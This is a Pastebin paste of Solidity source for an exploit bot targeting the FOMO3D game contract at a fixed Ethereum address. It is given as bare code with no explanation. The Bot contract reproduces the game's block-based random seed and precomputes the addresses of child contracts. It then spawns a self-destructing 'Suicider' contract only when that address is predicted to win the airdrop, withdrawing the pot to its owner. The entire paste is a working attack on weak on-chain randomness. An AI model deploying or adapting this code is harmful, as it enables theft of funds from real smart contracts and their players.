Advertisement
Guest User

Untitled

a guest
Jul 16th, 2018
172
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 3.87 KB | None | 0 0
  1. pragma solidity ^0.4.23;
  2. contract Empty {
  3.  
  4. }
  5. contract NewBotOwner {
  6. function addLeaf(address leaf) public;
  7. }
  8.  
  9. contract Suicider {
  10. constructor(address parent) payable {
  11. FOMO3D(0xA62142888ABa8370742bE823c1782D17A0389Da1).buyXaddr.value(msg.value)(tx.origin, 2);
  12. FOMO3D(0xA62142888ABa8370742bE823c1782D17A0389Da1).withdraw();
  13. suicide(parent);
  14. }
  15. }
  16.  
  17. contract Attacker {
  18. uint16 public nonce = 1;
  19.  
  20. address internal parent;
  21. Suicider public suicider;
  22. modifier onlyParent {
  23. require(msg.sender == parent);
  24. _;
  25. }
  26.  
  27. constructor (address parent_) public {
  28. parent = parent_;
  29. }
  30. function spawnEmpty() onlyParent public {
  31. new Empty();
  32. nonce++;
  33. }
  34.  
  35. function spawnSuicider() onlyParent public payable {
  36. suicider = (new Suicider).value(msg.value)(parent);
  37. nonce++;
  38. }
  39.  
  40. function changeParent(address newParent) onlyParent public {
  41. parent = newParent;
  42. }
  43. }
  44.  
  45. interface FOMO3D{
  46. function airDropPot_() public returns (uint);
  47. function airDropTracker_() public returns (uint);
  48. function withdraw() public payable;
  49. function buyXaddr(address _affCode, uint256 _team) public payable;
  50. }
  51.  
  52. contract Bot {
  53. using SafeMath for uint;
  54.  
  55. address internal owner;
  56.  
  57. modifier onlyOwner {
  58. require(msg.sender == owner);
  59. _;
  60. }
  61.  
  62. FOMO3D fomo3d = FOMO3D(0xA62142888ABa8370742bE823c1782D17A0389Da1);
  63.  
  64. Attacker[] leafs;
  65.  
  66. function numberOfLeaves() public view returns (uint) {
  67. return leafs.length;
  68. }
  69.  
  70. constructor() public payable {
  71. require(msg.value >= 0.1 ether);
  72. owner = msg.sender;
  73. }
  74.  
  75. function spawnLeafs(uint numLeaves) public onlyOwner {
  76. for (uint i = 0; i < numLeaves; i++) {
  77. leafs.push(new Attacker(address(this)));
  78. }
  79. }
  80.  
  81. function checkForWinner() public onlyOwner {
  82. require(fomo3d.airDropPot_() > 0.4 ether);
  83. uint chance = fomo3d.airDropTracker_();
  84. for (uint i = 0; i < leafs.length; i++) {
  85. address addr = address(leafs[i]);
  86. uint nonce = leafs[i].nonce();
  87. address spawnAddr = getNextContractAddr(addr, nonce);
  88. if (getRNG(spawnAddr, chance)) {
  89. Attacker(addr).spawnSuicider.value(0.1 ether)();
  90. return;
  91. }
  92. }
  93. for (i = 0; i < leafs.length; i++) {
  94. addr = address(leafs[i]);
  95. nonce = leafs[i].nonce() + 1;
  96. spawnAddr = getNextContractAddr(addr, nonce);
  97. if (getRNG(spawnAddr, chance)) {
  98. Attacker(addr).spawnEmpty();
  99. Attacker(addr).spawnSuicider.value(0.1 ether)();
  100. return;
  101. }
  102. }
  103. revert();
  104. }
  105.  
  106. function () payable public{
  107.  
  108. }
  109.  
  110. function getNextContractAddr(address addressInput, uint nonceiput) internal pure returns (address){
  111. return address(keccak256(0xd6, 0x94, addressInput, uint8(nonceiput)));
  112. }
  113.  
  114. function getRNG(address WHAT, uint adt) internal view returns (bool){
  115.  
  116. uint256 seed = uint256(keccak256(abi.encodePacked(
  117.  
  118. (block.timestamp).add
  119. (block.difficulty).add
  120. ((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
  121. (block.gaslimit).add
  122. ((uint256(keccak256(abi.encodePacked(WHAT)))) / (now)).add
  123. (block.number)
  124.  
  125. )));
  126. if ((seed - ((seed / 1000) * 1000)) < adt)
  127. return (true);
  128. else
  129. return (false);
  130. }
  131.  
  132. function migrate(address newOwner) public onlyOwner {
  133. for (uint i = 0; i < leafs.length; i++) {
  134. address leafAddr = address(leafs[i]);
  135. Attacker(leafAddr).changeParent(newOwner);
  136. NewBotOwner(newOwner).addLeaf(leafAddr);
  137. }
  138. }
  139. function withdraw() public onlyOwner {
  140. owner.transfer(address(this).balance - 0.1 ether);
  141. }
  142. }
  143.  
  144. library SafeMath {
  145. function add(uint256 a, uint256 b)
  146. internal
  147. pure
  148. returns (uint256 c)
  149. {
  150. c = a + b;
  151. require(c >= a, "SafeMath add failed");
  152. return c;
  153. }
  154. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement